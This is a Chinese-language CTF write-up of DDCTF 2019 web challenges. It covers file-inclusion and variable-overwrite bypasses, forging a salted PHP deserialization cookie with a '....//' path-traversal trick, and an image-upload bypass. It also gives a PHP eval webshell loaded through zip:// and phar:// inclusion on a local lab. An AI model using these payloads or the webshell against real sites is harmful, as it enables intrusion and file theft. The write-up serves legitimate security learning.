滴~
先上大佬的WP(https://impakho.com/post/ddctf-2019-writeup) ~~~膜
第一题设计的是base64和文件包含,源码泄露和变量覆盖并且脑洞的一题目
引用这位大佬的WP里的图片(https://www.cnblogs.com/sijidou/p/10725355.html)
题目的url看上去就像是文件包含,确实。
先是base64第二解码,然后是16进制再转字符串,是flag.jpg,呢么可以用php://filter读取下源码
源码里有博客链接,进去后找到个.practice.txt.swp这样的文章中的实例提示。呢么就尝试这进入,然后绕过正则对!的限制
<?php /* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */ error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'); $file = hex2bin(base64_decode(base64_decode($_GET['jpg']))); echo '<title>'.$_GET['jpg'].'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); echo $file.'</br>'; $file = str_replace("config","!", $file); echo $file.'</br>'; $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
因为他把config替换成了!,呢么就直接利用文件包含读呗
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
简单的变量覆盖,$k可以用php://input为空,$uid=为空就完事了
WEB 签到题
emmmmm,这题看了WP挺久,因为我想把源码都看懂,最后看懂了,发现。。emmm,简单,代码审计还是要多看理解下,多长点知识,补充自己不知道的点.
一开始的需要凭自己敏锐的嗅觉去发现,或者burp抓包可以看到,header头中,ddctf_username为空,试着admin,然后就给了两个文件路径
先直接上源码,因为没做,所以直接看的大佬WP,学习的
/app/Application.php
:
Class Application { var $path = ''; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); } } private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } }
/app/Session.php
:
include 'Application.php'; class Session extends Application { //key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session); if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();
这其实也是PHP序列化的题目,但是设计到了MD5的加盐和PHP代码审计
我的PHP代码审计之路:先是获得cookie,cookie是先把
$userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', );
这一串序列化,然后md5加盐(即把'slat+序列化后的cookie'md5加密)然后加到序列化后的值后面,像这样的一串
a:4:{s:10:"session_id";s:32:"3853b51fc9cd327af530a6c09e11259d";s:10:"ip_address";s:14:"223.104.64.208";s:10:"user_agent";s:11:"curl/7.61.0";s:9:"user_data";s:0:"";}97ce8958578b78e4d91ca007527dfa53
呢么我们肯定要知道eancrykey的值,才能伪造cookie,然后反序列化,因为是18个字符,猜测flag地址为../config/flag.txt,但是会把../和..\\置空,呢么可以用....//config/flag.txt来绕过.
首先是获取eancrykey的值
if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); }
前面的if可以不用管,第一次获得的cookie不用改就好,然后POST nickname=%s 就可以输出eancrykey 这里看一下foreach,这是个遍历数组(https://www.cnblogs.com/limeng951/p/5623607.html),并且as $k=>$v,是下标和值的对应方式,然后sprintf是格式化函数,第一次sprintf('welcome my friend %s',%s),然后$data没变,还是有%s,$data='welcome my friend %s',那么第二次遍历的就是$data=sprint('welcome my friend %s',eancrykey),然后$data=welcome my friend $eancrykey,知道了eancrykey后,就可以伪造cookie,impakho师傅直接用Application类序列化,看了另一个人的WP,是用session类来先伪造session,然后再序列化.这样就麻烦了,感觉简单的还是用Application类直接构造,
序列化的代码
<?php Class Application { var $path = '....//config/flag.txt'; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); } } private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } } $a=new Application(); echo serialize($a); ?>
序列化出来的字符串:O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";},再用得到的eancrykey ,md5加盐后,加再字符串后,并且urlencode一下,存到cookie中请求
ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525
然后就可以得到flag
Upload-IMG
这题长见识了,我自己也搭了个上传靶场upload-labs-master,并且自己实验了一下,二次渲染后,结合php本地包含,成功执行
配置了一下php环境,然后上传到
先随便将一张jgp图片上传,然后下载服务器端上的图片,发现经过了渲染,gd库处理
然后利用大佬提到链接里的脚本(https://xz.aliyun.com/t/2657#toc-13),处理一下
然后再上传上去
经过脚本处理后的图片,用winhex打开,发现已经加入phpinfo字串
然后结合文件包含漏洞ok
具体原理可以查看文章,记得这个知识点
并且我自己玩了下包含的zip://和phar://伪协议
<?php @eval($_POST[sky]);
然后命名为sky.php,再压缩重命名为sky.jpg,上传后,利用http://127.0.0.1/upload-labs-master/include.php?file=zip://upload/sky.jpg#sky.php
菜刀链接发现连接不上
然后改用http://127.0.0.1/upload-labs-master/include.php?file=phar://upload/sky.jpg/sky.php,就能菜刀链接了
zip:// 格式是 zip://xxx.png%23shell.php
phar://格式是phar://xxx.png/shell.php
写了半天,发现题目还是能进?我要去玩玩.前面的题目都复现成功。